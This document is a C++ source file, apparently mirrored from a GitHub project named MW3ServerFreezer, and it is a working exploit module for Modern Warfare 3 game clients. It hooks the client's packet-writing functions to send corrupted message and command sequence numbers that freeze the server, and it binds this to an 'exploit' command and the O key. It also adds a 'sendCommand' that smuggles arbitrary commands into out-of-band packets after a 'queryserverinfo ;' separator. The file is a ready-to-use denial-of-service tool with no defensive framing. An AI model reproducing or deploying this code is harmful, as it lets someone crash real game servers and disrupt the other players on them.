mirror of
https://github.com/diamante0018/MW3ServerFreezer.git
synced 2025-04-19 11:42:53 +00:00
113 lines
3.5 KiB
C++
113 lines
3.5 KiB
C++
#include <std_include.hpp>
|
|
#include "../loader/component_loader.hpp"
|
|
|
|
#include <utils/hook.hpp>
|
|
|
|
#include "command.hpp"
|
|
#include "key_catcher.hpp"
|
|
#include "console.hpp"
|
|
|
|
namespace exploit {
|
|
game::dvar_t* cl_exploit;
|
|
|
|
/*
|
|
* void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3)
|
|
* A brief description of data: the first few bytes contain information from
|
|
* clientConnection_t structure Offset 0: ServerID Size : 1 Offset 1:
|
|
* serverMessageSequence Size: 4 Offset 5: serverCommandSequence Size: 4 One
|
|
* clean way of sending invalid data to the server is to hook the functions
|
|
* that write the info to the packet Credit:
|
|
* https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
|
|
*/
|
|
|
|
void write_message_sequence(game::msg_t* msg, int data) {
|
|
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
|
|
msg->overflowed = TRUE;
|
|
return;
|
|
}
|
|
|
|
if (cl_exploit->current.enabled)
|
|
data = (data & 0xFFFFFF00) | 0xAAu;
|
|
|
|
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
|
|
*dest = data;
|
|
msg->cursize += sizeof(int);
|
|
}
|
|
|
|
void write_command_sequence(game::msg_t* msg, int data) {
|
|
if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
|
|
msg->overflowed = TRUE;
|
|
return;
|
|
}
|
|
|
|
if (cl_exploit->current.enabled)
|
|
data = (data & 0x00FFFFFF) | (0x80u << 24);
|
|
|
|
auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
|
|
*dest = data;
|
|
msg->cursize += sizeof(int);
|
|
}
|
|
|
|
class component final : public component_interface {
|
|
public:
|
|
void post_unpack() override {
|
|
cl_exploit = game::Dvar_RegisterBool("cl_exploit", false, game::DVAR_NONE,
|
|
"Enable server freezer");
|
|
|
|
add_exploit_commands();
|
|
add_key_hooks();
|
|
|
|
utils::hook(0x420B76, write_message_sequence, HOOK_CALL).install()->quick();
|
|
utils::hook(0x420B86, write_command_sequence, HOOK_CALL).install()->quick();
|
|
}
|
|
|
|
private:
|
|
static void add_key_hooks() {
|
|
key_catcher::on_key_press(
|
|
"O", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
command::execute("exploit");
|
|
});
|
|
|
|
key_catcher::on_key_press(
|
|
"L", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
command::execute("undoExploit");
|
|
});
|
|
|
|
key_catcher::on_key_press(
|
|
"K", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
|
|
command::execute("disconnect");
|
|
});
|
|
}
|
|
|
|
static void add_exploit_commands() {
|
|
command::add("exploit", []([[maybe_unused]] const command::params& params) {
|
|
game::Dvar_SetBool(cl_exploit, true);
|
|
console::info("Enabled cl_exploit");
|
|
});
|
|
|
|
command::add("undoExploit",
|
|
[]([[maybe_unused]] const command::params& params) {
|
|
game::Dvar_SetBool(cl_exploit, false);
|
|
console::info("Disabled cl_exploit");
|
|
});
|
|
|
|
command::add(
|
|
"sendCommand", []([[maybe_unused]] const command::params& params) {
|
|
if (params.size() < 2)
|
|
return;
|
|
|
|
if (*game::connectionState <= game::connstate_t::CA_CHALLENGING)
|
|
return;
|
|
|
|
const auto cmd = std::format("queryserverinfo ;{}", params.join(1));
|
|
console::info("Sending OOB packet {}", cmd);
|
|
game::NET_OutOfBandPrint(game::NS_SERVER,
|
|
game::localClientConnection->serverAddress,
|
|
cmd.data());
|
|
});
|
|
}
|
|
};
|
|
} // namespace exploit
|
|
|
|
REGISTER_COMPONENT(exploit::component)
|